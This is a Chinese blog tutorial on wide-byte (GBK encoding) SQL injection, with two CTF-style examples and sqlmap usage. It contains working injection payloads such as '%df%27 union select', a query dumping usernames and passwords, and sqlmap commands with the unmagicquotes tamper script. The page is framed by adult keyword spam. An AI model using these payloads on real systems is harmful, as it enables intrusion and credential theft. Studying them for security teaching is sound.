色综合图-色综合图片-色综合图片二区150p-色综合图区-玖玖国产精品视频-玖玖香蕉视频

您的位置:首頁技術文章
文章詳情頁

SQL注入寬字節注入由淺到深學習

瀏覽:96日期:2022-06-06 15:00:49
目錄
  • 前言
  • 基礎知識
    • 寬字節
    • 寬字節注入
  • 例子
    • 例題一
    • 例題二
  • SQLMAP應用
    • 結語

      前言

      突然想起來之前講SQL注入時忘記講一下這個寬字節注入了,因為這個知識點還是挺重要的,所以本文就帶大家了解一下寬字節注入的原理以及應用方法,下面由我來給大家詳細講解一下。

      基礎知識

      寬字節

      在了解寬字節注入之前,我們要了解一下什么是寬字節,相對于單字節,我們引入一個字符數大小為兩個字節的為寬字節,比如GBK編碼,我們漢字通常使用的就是GBK編碼,也就是說一次性會讀取兩個字節。

      寬字節注入

      產生寬字節注入的原因涉及了編碼轉換的問題,當我們的mysql使用GBK編碼后,同時兩個字符的前一個字符ASCII碼大于128時,會將兩個字符認成一個漢字,那么大家像一個,如果存在過濾我們輸入的函數(addslashes()、mysql_real_escape_string()、mysql_escape_string()、Magic_quotes_gpc)會將我們的輸入進行轉義,那么我們是不是可以嘗試注入,我們舉一個簡單的例子:

      addslashes()函數

      該函數的作用是返回在預定義字符之前添加反斜杠的字符串。于是我們可以分析一下我們轉入的參數流程:

      假設我們傳入一個參數id為1'查看數據庫是否錯報:

      index.php?id=1"

      那么經過函數過濾后我們的輸入拼接到sql語句就會變成:

      select * from user where id = "1""

      可以看到單引號被轉義了,加入我們像下面一樣傳參:

      可以看到我們傳入的參數與\合并成了一個漢字,具體可以參考下圖:

      可以看到我們的單引號沒有被轉義,從而達到了閉合單引號的效果,這就是一個簡單的寬字節注入。但是需要有個前提,也就是MYSQL設置了GBK編碼:

      SET character_set_client =gbk

      例子

      例題一

      進入頁面發現url可以有個變量id可以傳入參數,于是我們傳參測試是否報錯

      ?id=1"

      發現單引號被轉義了,數據庫沒有進行錯報,具體可以看下圖:

      結合我們上面學習到的寬字節注入的知識,懷疑是addslashes函數轉義了我們的單引號,于是我們嘗試進行繞過,我們先查詢列數:

      ?id=1%aa%27 order by 3--+

      發現列數為三后,判斷回顯位置:

      ?id=-1%aa%27union select 1,2,database()--+

      成功爆出了數據庫的名字,于是后面操作就跟平常的SQL注入一樣了:

      ?id=-1%aa%27union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users--+

      例題二

      打開網頁有一個查詢框讓我們進行查詢,我們嘗試加入單引號但發現沒有報錯,于是查看下源碼看看有沒有有用信息:

      gb2312正是漢字編碼字符集,于是我們嘗試寬字節注入:

      ?id=1%df%27%20union%20select%201,database()%23

      成功回顯了數據庫的名字,說明可行,于是我們繼續注入:

      ?id=1%df%27%20union%20select%201,string%20from%20sql5.key%20--%20

      得到了我們想要查詢的信息。

      SQLMAP應用

      SQLMAP作為一個強大的SQL注入自動化工具也是可以進行寬字節注入測試的,下面我們來學習一下利用SQLMAP走一遍寬字節注入的流程:

      先跑數據庫名:

      sqlmap.py -u "http://sql/index.php?id=3" --tamper unmagicquotes --dbs

      其中tamper為利用SQLMAP中自帶的腳本,當然我們也可以手動導入,而unmagicquotes為我們寬字節注入利用的腳本,下面查詢表名:

      index.php?id=3" --tamper unmagicquotes -D "xino" --tables

      爆出來表名后爆列名:

      index.php?id=3" --tamper unmagicquotes -D `xino` -T ctf --columns

      之后我們爆出數據:

      id=3" --tamper unmagicquotes -D `xino` -T ctf -C flag

      SQLMAP中進行寬字節注入還是比較簡單的,只需要注意我們利用到了sqlmap的寬字節注入腳本,其他的跟平時注入并沒有很大的差別。

      結語

      今天總結了一下寬字節注入的原理以及應用方法,整的來看寬字節注入的利用環境就是當我們的單引號被轉義了不能進行注入時可以考慮利用寬字符的編碼解析特性來進行單引號的逃逸,認真學習一下還是比較容易理解的,更多關于SQL寬字節注入的資料請關注其它相關文章!

      標簽: PHP
      相關文章:
      主站蜘蛛池模板: 在线免费看a | 美女被免费网站在线软件 | 亚洲区免费 | 免费观看成人毛片 | 美女又黄又免费视频 | 在线播放国产一区二区三区 | 久久精品亚洲一区二区 | 久久久免费观成人影院 | 欧美日韩国产高清一区二区三区 | 一区二区三区免费 | 日本作爱 | 国产真实女人一级毛片 | 亚洲国产精品乱码在线观看97 | 午夜欧美成人香蕉剧场 | 亚洲第十色 | 日本在线免费播放 | 欧美日韩精品一区二区三区不卡 | 亚洲精品一区二区三区在线播放 | 亚洲欧美日韩精品久久亚洲区 | 毛片免费在线 | 国产一区二区亚洲精品天堂 | 九九视频在线观看视频6偷拍 | 69av美女| 亚洲国产成人久久综合野外 | ririai99在线视频观看 | 国产精品国产三级国产普通 | 一区二区三区在线免费看 | 八戒午夜精品视频在线观看 | 国产国产成人精品久久 | 亚洲第一网站 | 亚洲成a人片在线观 | 在线观看视频国产 | 亚洲免费网 | 免费国产成人高清在线观看视频 | 亚洲第一在线播放 | 日韩欧美在线观看 | 日本美女高清在线观看免费 | 国产精品国产三级国产专区5o | 国产欧美日韩亚洲 | 在线欧美一级毛片免费观看 | 精品久久久久久综合网 |